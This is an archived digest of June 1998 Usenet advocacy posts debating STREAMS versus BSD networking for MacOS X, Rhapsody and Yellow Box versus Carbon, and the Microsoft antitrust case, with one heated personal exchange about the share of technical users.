References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net>
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In article <6l9a41$6ue$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> Unless of course you use tunnels. Not a prefect or whole solution surely,
>but some form of one just as surely.
Forgive my ignorance, but what do you mean by tunnels?
> You miss many...
>
>3) it's API is by far the most used and supported. This means the majority
>of networking developers are very familiar with it which means potential
>porting is *easier*. The difference is that there are some Mac developers
>not familiar with it, vs. the MASSIVE numbers of Unix and Windows developers
>that are.
>
>4) WinSOCK is enough alike Sockets that again the porting issue it that much
>easier. Yes I know that is an API issue, but if developers are going to use
>that API there's no overriding reason to mess with it
Those are API issues. If MacOS X (or X++) were to be based on STREAMS it
would support a sockets interface, just like Solaris. It could also
support WinSOCK; NetManage has already developed a WinSOCK library for
STREAMS. The issue is STREAMS vs. BSD, not XTI vs. sockets.
>5) Sockets is is increadibly stable and secure, the result of massive testing
>on millions of systems for over a decade.
(I assume you mean BSD networking, not "Sockets"). STREAMS is no slouch in
that department either. And Apple proposes BSD with a proprietary
expansion mechanism and a subset of OT APIs; that combination does not have
any massive testing under its belt.
> Neither is needed, there is already a solution. People appear to be
>looking too closely at the issue and missing the fact that there are possible
>external solutions.
What external solutions are you referring to?
--
Jim Matthews
Dartmouth Software Development
<http://www.dartmouth.edu/pages/softdev/>
From: mark@sapphire.oaai.com (Mark Onyschuk)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Arguments for STREAMS
Date: 8 Jun 1998 09:36:59 GMT
Organization: M. Onyschuk and Associates Inc.
Message-ID: <slrn6nntrs.nte.mark@sapphire.oaai.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net> <Jim.Matthews-ya02408000R0806980915190001@news.dartmouth.edu>
Jim Matthews wrote:
>In article <6l9a41$6ue$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>>Unless of course you use tunnels. Not a prefect or whole solution surely,
>>but some form of one just as surely.
>
>Forgive my ignorance, but what do you mean by tunnels?
From a FreeBSD system man page:
The tun interface is a software loopback mechanism that can be loosely
described as the network interface analog of the pty(4), that is, tun
does for network interfaces what the pty driver does for terminals.
The tun driver, like the pty driver, provides two interfaces: an inter-
face like the usual facility it is simulating (a network interface in the
case of tun, or a terminal forpty), and a character-special device
``control'' interface.
So, in a BSD networking environment, you'd use the tunnel facility to do
things like build virtual private networks, to insert filters, etc.
Regards,
Mark
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Mon, 08 Jun 1998 10:17:46 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357C009A.4F26CDC9@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net> <357A106C.F94400F@nstar.net> <slrn6nm6kb.huf.sal@panix3.panix.com> <357B1C46.48EF0A3F@nstar.net> <slrn6nmmvr.3r3.sal@panix3.panix.com>
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NNTP-Posting-Date: 8 Jun 1998 15:23:31 GMT
Salvatore Denaro wrote:
[cut]
> My point was that most PC users are non-technical users. Can you understand
> that?
Your (stated) point is that the number 'technical' users (a term you
*still* have not defined for yourself) is at least twice as high as 2%.
Your continued ploy has been to reshape the conversation as you quote
below:
"Are you suggesting ... that most people who use computers have a
math/sci/eng background?"
Obviously, I have *not* suggested this, but that has not stopped your
paraphrased attempts at reversing my argument. If 5% is a majority, I am
baffled.
> >> I don't know what is. (looks like you have contradicted yourself again.)
> >Demonstrate the contradiction. I dare you, idiot. <---- Personal insult
>
> I am going to forward all personal insults to your sysadmin.
You are quite welcome to do that.
> If you can
> not conduct a conversation like an adult you should log out and grow up.
> I can't see why you would get so upset, and resort to petty namecalling,
> over something like this.
And yet you keep returning to the conversation to validate my remarks.
You can't seem to get enough.
> Salvatore Denaro wrote:
> > [...] I doubt that real percent of techs are more than 2% off
> > from that estimate.
> > Are you suggesting that this is not the case?
> Yes.
Precisely.
> ***********************
> This is the part you clipped. This is where the problem of our lack of
> communication stems from:
>
> (From message: <slrn6nepl9.ea4.sal@panix3.panix.com> )
>
> Are you suggesting that this is not the case? And that most people who
> use computers have a math/sci/eng background? That might have been the
> case from the 50s to the late 70s, but since the advent of cheap small
> systems (and GUIs) computers have moved outside the "glass houses" and
> onto the desks and into the livingrooms of many non-techs.
> ***********************
I don't understand your point in posting this. I have already stated by
belief that 'technical' users constitute at least 5% of the user
population. If you disagree, say so. Instead, you appear bent on
twisting the conversation by positing questions I have never given
grounds to answer (as quoted above).
> You do not disagree with my statement that the *vast majority* of PC
> users are non technical, yet you argue on. I don't get it.
The conversation would lie dormant were it not for the necessity of
correcting continual errors on your part. As long as you continue to
obfuscate and misrepresent my position, I am bound to respond with
correction.
> What the
> is the problem? Is 2% and 5% that much of a difference? Is it worth
> all this time and effort to split hairs? Is it really worth it?
Roughly a 150% difference. Even so, I will let it lie when I am
satisfied you are characterizing my remarks as an argument that "most
people who use computers have a math/sci/eng background", a blatant lie
and a gross misrepresentation.
> >[laugh] If a percentage is growing, then by definition the subpopulation
> >is growing more quickly than the entire population.
[follows: a verbose and pointless discussion of...something]
> If you are claiming that the subpopulation of sysadmins is growing faster
> that the total population of users, I would like to hear your reason.
Perfect, Salvatore. Again, you mis-characterize my remarks. See if you
can find 'sysadmins' in my remarks. I already defined my use of the word
'tech' in a response to John Bauer (which I know you saw because you
responded to it). Yet you insert the word here and posit the question
above. You are a fool and a knave, sir.
> > Sorry, I don't have
> >a math text to back this up; my 4th grade teacher wouldn't let me keep
> >it.
>
> You might want to ask for it back. You might need it.
As a shield for the spittle from your direction, perhaps.
MJP
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: Mon, 08 Jun 1998 12:37:27 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com> <RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com> <SCOTT.98Jun5112748@slave.doubleu.com>
In article <SCOTT.98Jun5112748@slave.doubleu.com>, scott@doubleu.com
(Scott Hess) wrote:
> I need to emphasize that. It's not a question of using the current OT
> STREAMS implementation versus the BSD4.4 sockets implementation. It's
> a question of using the BSD4.4 sockets implementation versus writing a
> new STREAMS implementation on a BSD4.4 substrate.
It is more than that. It is also a question of running an already
available Sockets implementation on top of Streams or CREATING an
implementation (interface??) of Streams on top of Sockets. Why don't they
use what is already available?
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Mon, 08 Jun 1998 10:31:32 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357C03D4.E507394E@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net> <357A106C.F94400F@nstar.net> <slrn6nm6kb.huf.sal@panix3.panix.com> <357B1C46.48EF0A3F@nstar.net> <slrn6nmmvr.3r3.sal@panix3.panix.com> <357C009A.4F26CDC9@nstar.net>
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NNTP-Posting-Date: 8 Jun 1998 15:36:51 GMT
Michael J. Peck wrote:
> Your (stated) point is that the number 'technical' users (a term you
> *still* have not defined for yourself) is at least twice as high as 2%.
Rather, that is *my* stated point. Yours, I should have said, is that
the number is 2%.
MJP
From: Jim.Matthews@dartmouth.edu (Jim Matthews)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: Mon, 08 Jun 1998 09:13:24 -0400
Organization: Dartmouth College
Message-ID: <Jim.Matthews-ya02408000R0806980913240001@news.dartmouth.edu>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com> <RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com> <SCOTT.98Jun5112748@slave.doubleu.com>
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In article <SCOTT.98Jun5112748@slave.doubleu.com>, scott@doubleu.com (Scott
Hess) wrote:
>[On a humorous note, some of the biggest complaints about this that I
>heard at WWDC were from vendors who already have Windows ports of
>their clients - and thus presumably already have a more-or-less
>sockets compatible module somewhere in their code,]
If this is humorous then you've missed the point. I am an application
developer, and I'm not afraid of writing a sockets version of my code (in
fact, when I heard about Carbon I assumed that I'd be required to). I
would not mind Apple forcing me to use sockets. I am worried about having
all developers lose an open, cross-platform architecture for system-level
networking services: new protocol stacks, transparent firewall support,
virtual private networks, porn filters, session traces, etc. STREAMS is
such an architecture, BSD isn't. No one at WWDC was complaining about
sockets.
--
Jim Matthews
Dartmouth Software Development
<http://www.dartmouth.edu/pages/softdev/>
Message-ID: <357C11AF.D1BF8149@technologist.com>
Date: Mon, 08 Jun 1998 12:30:39 -0400
From: "Marshall J. Elfstrand" <elfstrand@technologist.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu>
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Organization: Rochester Institute of Technology
Robert Cassidy wrote:
> 3) Having your core API strongly tied to Obj-C, a language that will never
> get widespread adoption is dumb. Having your core API based on procedural
> crap like the Mac Toolbox (and presumably Carbon) is even more dumb.
Apple seems to be promoting Java over Obj-C nowadays, to the extent that
by MacOS X (even Rhapsody 1.0 if I'm correct) all YB API calls will be
Java-callable. It seems like the future of YB will be "strongly tied" to
Java.
> 4) Forcing developers to pick an API or to even mix-and-match is suicide.
> It'll fragment the community with each group getting better or worse
> support here and there.
Not at all. Windows programming is divided between Visual C++ and Visual
Basic, and they seem to co-exist fine, one as the well-known C++ way of
doing things, and one as the rapid development tool. There is some overlap,
in that VB can make some of the same Win32 API calls that VC++ can if you
really want to do it, but they really are two completely different
development environments, with two different languages. The difference with
Apple's offerings is that their rapid development tool is much more
powerful, and cross-platform as well. So I would think that if Visual Basic
can gain the widespread acceptance it has, the cross-platform Java-based
powerful rapid-development Yellow Box has a pretty darn good chance. Even
if they weren't making it Java-accessible, Objective-C has a heck of a lot
more in common with C++ than Visual Basic does.
I personally see Carbon as a purely transitional thing, to get people to
accept a modern OS that has an incredible development environment.
Developers can work on Carbon if they like, but I would guess they'd start
to realize how much work, time, and money they'd save if they'd start
developing software with YB instead. Whereas I don't see Visual Basic ever
having enough power to supplant C++ completely on Windows, I can see the
power and flexibility of YB supplanting Carbon on MacOS (and possibly making
its way into the Windows development world as well). And as time goes on,
of course it will evolve...I'm sure the future of Carbon and Yellow Box will
end up being based upon who uses them. Personally, given my choice between
Carbon, Yellow Box, Visual C++, or Visual Basic, I'd take Yellow Box, and
the majority of my experience is in the Windows world. But that's just me.
Of course, these are all ramblings from my limited understanding (I've
dabbled with all these languages, but I'm no Photoshop writer), so I'm
certainly open to the disagreement with my opinions that will surely
follow. :-)
Marshall
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Mon, 08 Jun 1998 12:48:26 -0400
Organization: Manual Labor
Message-ID: <kindall-0806981248260001@nic-c10-177.mw.mediaone.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6lfhs4$11oq1@odie.mcleod.net> <macghod-0706982344290001@206.133.187.99>
In article <macghod-0706982344290001@206.133.187.99>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6lfhs4$11oq1@odie.mcleod.net>, "Michelle L. Buck"
> <buck.erik@mcleod.net> wrote:
>
> > I am a long time NeXTstep/Openstep fan. Small market share has not
> > historically scared me away. The difference is that my company could sell 6
> > figure vertical applications for openstep. Many of our former customers
> > regard the Apple purchase of NeXT as a sure sign of its death. Many
> > companies will NOT buy any Apple product ever again even if they used to buy
> > it from NeXT. Being from Apple makes it tainted.
>
> Why does APple owning it "taint it"?
> While Apple definitely has its bad points, I think your former customers
> are way overreacting.
Doesn't matter why the customers react the way they do. You can't say to
a customer, "you're overreacting, buy our product anyway" and you can't
say to yourself, "they're overreacting, we don't need them."
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
MWJ, the Weekly Journal for Serious Mac Users http://www.gcsf.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 8 Jun 1998 12:35:06 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lglpq$plb$2@ns3.vrx.net>
References: <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154>
<1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70>
<6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156>
<6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3>
<6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3>
<6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122>
<6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
<6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3>
<6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
<6l2q9p$cjt$1@news.cs.tu-berlin.de> <rex-0306981328290001@192.168.0.3>
<1da1oie.1qay520aezixhN@cetus202.wco.com> <6l5n29$ebr$1@ns3.vrx.net>
<1da562z.1be27w1an0etmN@cetus203.wco.com>
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Cc: mpaque@wco.com
In <1da562z.1be27w1an0etmN@cetus203.wco.com> Mike Paquette claimed:
> It sure looks that way, doesn't it? :-)
;-)
Maury
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 8 Jun 1998 14:10:58 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lh9fi$aqm$1@crib.corepower.com>
References: <vik-0806981034470001@p20.hwts04.loop.net>
In article <vik-0806981034470001@p20.hwts04.loop.net>, vik@loop.com (Vik Rubenfeld) wrote:
> <http://www.zdnet.com/macweek/1222/nw_rhapsody.html>
> I had been very interested in doing a Rhapsody application that could be
> recompiled for cross-platform release on both Mac and Windows. This
> article seems to indicate that using the Rhapsody API's for such releases
> won't be possible, since Rhapsody will not be maintained.
Did you read all of the article? They mentioned that the Rhapsody API's
(Yellow Box) will appear in MacOS X (which is essentially Rhapsody,
from a technological standpoint), and that there will continue to be a
Windows version. So your Rhapsody plans should be unchanged. The only
difference is that Rhapsody apps might not be binary-compatible on MacOS X,
but you should be able to just recompile.
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 8 Jun 1998 18:10:59 GMT
Organization: echonyc.com
Message-ID: <slrn6noaev.l0g.ben@ben.tapehouse.net>
References: <vik-0806981034470001@p20.hwts04.loop.net>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <vik-0806981034470001@p20.hwts04.loop.net>, Vik Rubenfeld wrote:
>
>I had been very interested in doing a Rhapsody application that could be
>recompiled for cross-platform release on both Mac and Windows. This
>article seems to indicate that using the Rhapsody API's for such releases
>won't be possible, since Rhapsody will not be maintained.
But Rhapsody's API, the Yellow Box, will live on in MacOS X and in
YB/Windows.
--
Ben
"You have your mind on computers, it seems."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 08 Jun 1998 10:28:46 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357C032E.C373357D@nstar.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
<6j2m0f$m0c$3@ligarius.ultra.net>
<rmcassid-1105981158230001@dante.eng.uci.edu>
<6j9ac3$tnp$1@ligarius.ultra.net>
<rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU>
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NNTP-Posting-Date: 8 Jun 1998 15:35:56 GMT
Larry Pyeatt wrote:
>
> In article <6l72if$mp9$1@news.smart.net>,
> kaz@smart.net (KAZ Vorpal) writes:
> > If it is bullshit to say that what hurts microsoft hurts the industry,
> > then all of the attacks on Microsoft are a lie in the first place.
>
> Is it just me, or is something wrong with the logic in that statement?
> Lets see,
> 1) A big bully is beating up all the kids on the playground.
A convenient, if ridiculous analogy. The very crux of the DoJ case has
been that Microsoft's illegal behavior hinges on vendor *dependence* on
Microsoft, not on unilateral suffering *because* of Microsoft. Microsoft
cannot be characterized as a "bully", except where its competitors are
also characterized as "bullies" (e.g. Apple, who "bullied" cloners into
severe market losses: Motorola $93 million, Umax $1.1 billion).
Except that as far as I know, all of Microsoft's "victims" are making
money, whereas Apple's "victims" left the field with their purses
lightened.
[cut]
> That is not the ONLY way. MS is hurting the industry by killing
> off all competition and discouraging competitition and innovation.
> Hurting MS may allow other companies to survive and bring back
> competition.
Outperforming Microsoft may accomplish the same thing. Unfortunately,
Microsoft's competitors have done nothing of the kind. To "hurt" MS
would be to push consumers toward inferior competitors.
> 1) False dichotomy.
Eh?
> 2) It is MS's claim that the industry will be harmed. I personally
> think they are wrong on that one, at least in the long term.
"Long term"? A qualifier that is not germane to the claim in the first
place. That you claim to predict the "long term" in the computer
industry is hilarious.
> > Either everyone is "unfairly" too dependent on Microsoft, and
> > will be harmed, or they are NOT unfairly dependent, and so
> > prosecuting them is wrong.
>
> False dichotomy. There is also the possibility that everyone is
> "unfairly" being put out of business by MS using its OS monopoly.
"Put out of business"? Name these companies who are being "put out of
business". Netscape? Sun Microsystems? Apple Computer? Demonstrate that
any of the above are being "put out of business" by Microsoft.
[cut]
MJP
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 Jun 1998 16:42:30 GMT
Organization: VHA Inc.
Message-ID: <01bd92fd$4ccb1240$8383050a@bgravitt.CORP.VHA.COM>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM><6j2m0f$m0c$3@ligarius.ultra.net><rmcassid-1105981158230001@dante.eng.uci.edu><6j9ac3$tnp$1@ligarius.ultra.net><rmcassid-1205982352010001@dialin33423.slip.uci.edu><6jk64c$vo9$1@strato.ultra.net><rmcassid-1805981307530001@dante.eng.uci.edu><tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net><35d0ab0c.360543981@news.supernews.com><6k6tda$omk$1@ligarius.ultra.net><357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote in article
<357C032E.C373357D@nstar.net>...
> Larry Pyeatt wrote:
> >
> > In article <6l72if$mp9$1@news.smart.net>,
> > kaz@smart.net (KAZ Vorpal) writes:
> > > If it is bullshit to say that what hurts microsoft hurts the
industry,
> > > then all of the attacks on Microsoft are a lie in the first place.
> >
> > Is it just me, or is something wrong with the logic in that statement?
> > Lets see,
> > 1) A big bully is beating up all the kids on the playground.
>
> A convenient, if ridiculous analogy. The very crux of the DoJ case has
> been that Microsoft's illegal behavior hinges on vendor *dependence* on
> Microsoft, not on unilateral suffering *because* of Microsoft. Microsoft
> cannot be characterized as a "bully", except where its competitors are
> also characterized as "bullies" (e.g. Apple, who "bullied" cloners into
> severe market losses: Motorola $93 million, Umax $1.1 billion).
>
So you're saying that because one company allegedly broke the law another
should be allowed to do the same? Sounds to me like one kid saying, "He
did it too!" i.e. The playground analogy is appropriate.
> Except that as far as I know, all of Microsoft's "victims" are making
> money, whereas Apple's "victims" left the field with their purses
> lightened.
>
Fingerpointing.
> [cut]
>
> > That is not the ONLY way. MS is hurting the industry by killing
> > off all competition and discouraging competitition and innovation.
> > Hurting MS may allow other companies to survive and bring back
> > competition.
>
> Outperforming Microsoft may accomplish the same thing. Unfortunately,
> Microsoft's competitors have done nothing of the kind. To "hurt" MS
> would be to push consumers toward inferior competitors.
>
Define "Outperforming".
> > 1) False dichotomy.
>
> Eh?
>
> > 2) It is MS's claim that the industry will be harmed. I personally
> > think they are wrong on that one, at least in the long term.
>
> "Long term"? A qualifier that is not germane to the claim in the first
> place. That you claim to predict the "long term" in the computer
> industry is hilarious.
>
I think he means that Microsoft holds themselves as more important than
they really are.
> > > Either everyone is "unfairly" too dependent on Microsoft, and
> > > will be harmed, or they are NOT unfairly dependent, and so
> > > prosecuting them is wrong.
> >
> > False dichotomy. There is also the possibility that everyone is
> > "unfairly" being put out of business by MS using its OS monopoly.
>
> "Put out of business"? Name these companies who are being "put out of
> business". Netscape? Sun Microsystems? Apple Computer? Demonstrate that
> any of the above are being "put out of business" by Microsoft.
>
In terms of marketshare. MS's activities have decreased other's
marketshare not because of a better product (regardless of the quality of
the product) but through manipulations that are actionable according to the
DOJ.
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: 8 Jun 1998 12:21:25 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lgl05$plb$1@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net>
<Jim.Matthews-ya02408000R0806980915190001@news.dartmouth.edu>
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Cc: Jim.Matthews@dartmouth.edu
In <Jim.Matthews-ya02408000R0806980915190001@news.dartmouth.edu> Jim Matthews
claimed:
> Forgive my ignorance, but what do you mean by tunnels?
tun's. User-side networking versions of pty's. Like I said, not the same
thing, but similar in purpose anyway.
> Those are API issues.
Absolutely. So is YB though.
> STREAMS. The issue is STREAMS vs. BSD, not XTI vs. sockets.
I know.
> What external solutions are you referring to?
e-mail please.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 08 Jun 1998 12:46:40 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0806981246400001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
In article <357C11AF.D1BF8149@technologist.com>, "Marshall J. Elfstrand"
<elfstrand@technologist.com> wrote:
>Robert Cassidy wrote:
>> 3) Having your core API strongly tied to Obj-C, a language that will never
>> get widespread adoption is dumb. Having your core API based on procedural
>> crap like the Mac Toolbox (and presumably Carbon) is even more dumb.
>
> Apple seems to be promoting Java over Obj-C nowadays, to the extent that
>by MacOS X (even Rhapsody 1.0 if I'm correct) all YB API calls will be
>Java-callable. It seems like the future of YB will be "strongly tied" to
>Java.
Right. But in the mean time, YB is still tied to Obj-C. You can write in
Java, but you can't really extend YB properly without wrapping things up
nicely. No? And what about Carbon? Same thing?
>> 4) Forcing developers to pick an API or to even mix-and-match is suicide.
>> It'll fragment the community with each group getting better or worse
>> support here and there.
>
> Not at all. Windows programming is divided between Visual C++ and Visual
>Basic, and they seem to co-exist fine, one as the well-known C++ way of
>doing things, and one as the rapid development tool. There is some overlap,
>in that VB can make some of the same Win32 API calls that VC++ can if you
>really want to do it, but they really are two completely different
>development environments, with two different languages.
But should MS need to develop a Win64 API or native Merced support, how
many things need to change? One problem that MS has historically had is
that it is *extremely* hard for them to move people forward to new APIs
because they cannot deliver all the needed tools, becuase their developers
are coming from so many different places. MS *has* to go to developers and
say: 'we're cutting you off with the next release'. Which is fine if you
are MS, but not if you are Apple.
Let's face it. The Mac Toolbox works, but that doesn't preclude it from
sucking in a big way. Apple tried cutting devlopers off a year ago and it
didn't take. Now they see the need to hand-hold, in much the same way as
the 68k->PPC transition. That's what Carbon does. But Carbon, for all it's
great abilities to get traditional MacOS apps on board, still sucks for
new development. It betrays any strong advocacy on Apple's part for code
reuse and the value of a true OO environment. But YB betrays Apple's need
to say 'MacOS will not go away'. So Apple needs to effectively sell two
overlapping solutions to their community. They also need to effectively
migrate two overlapping solutions in the future or else they risk cutting
off developers that say 'Ah, the hell with this! I'm not rewriting for YB.
If they won't support the MacToolbox, I'll just go to Win32 if I need to
rewrite anyway.'. And at each turn, Apple will alienate another small
group of developers and little by little the developers will leave.
>The difference with
>Apple's offerings is that their rapid development tool is much more
>powerful, and cross-platform as well. So I would think that if Visual Basic
>can gain the widespread acceptance it has, the cross-platform Java-based
>powerful rapid-development Yellow Box has a pretty darn good chance. Even
>if they weren't making it Java-accessible, Objective-C has a heck of a lot
>more in common with C++ than Visual Basic does.
First off, VB gained acceptance because it filled a product segment that
previously had not been adequately filled. YB fills a segment that has
already been filled. There are several frameworks on the Mac that cover
what YB does. Maybe not as well as YB does, or as elegantly, but they do
it.
Where YB most directly leads (toward an Apple solution) is in
cross-platform access. But given that most developers that want
cross-platform already have developed cross-platform solutions (like Adobe
that rolled their own), YB offers little. So what does YB offer the new
developer? A new API that doesn't leverage what the developers already
know (Win32 or Mac Toolbox)? Along with language support that they *do*
know (Java) that doesn't fit into a framework as cross-platform as Java
is.
> I personally see Carbon as a purely transitional thing, to get people to
>accept a modern OS that has an incredible development environment.
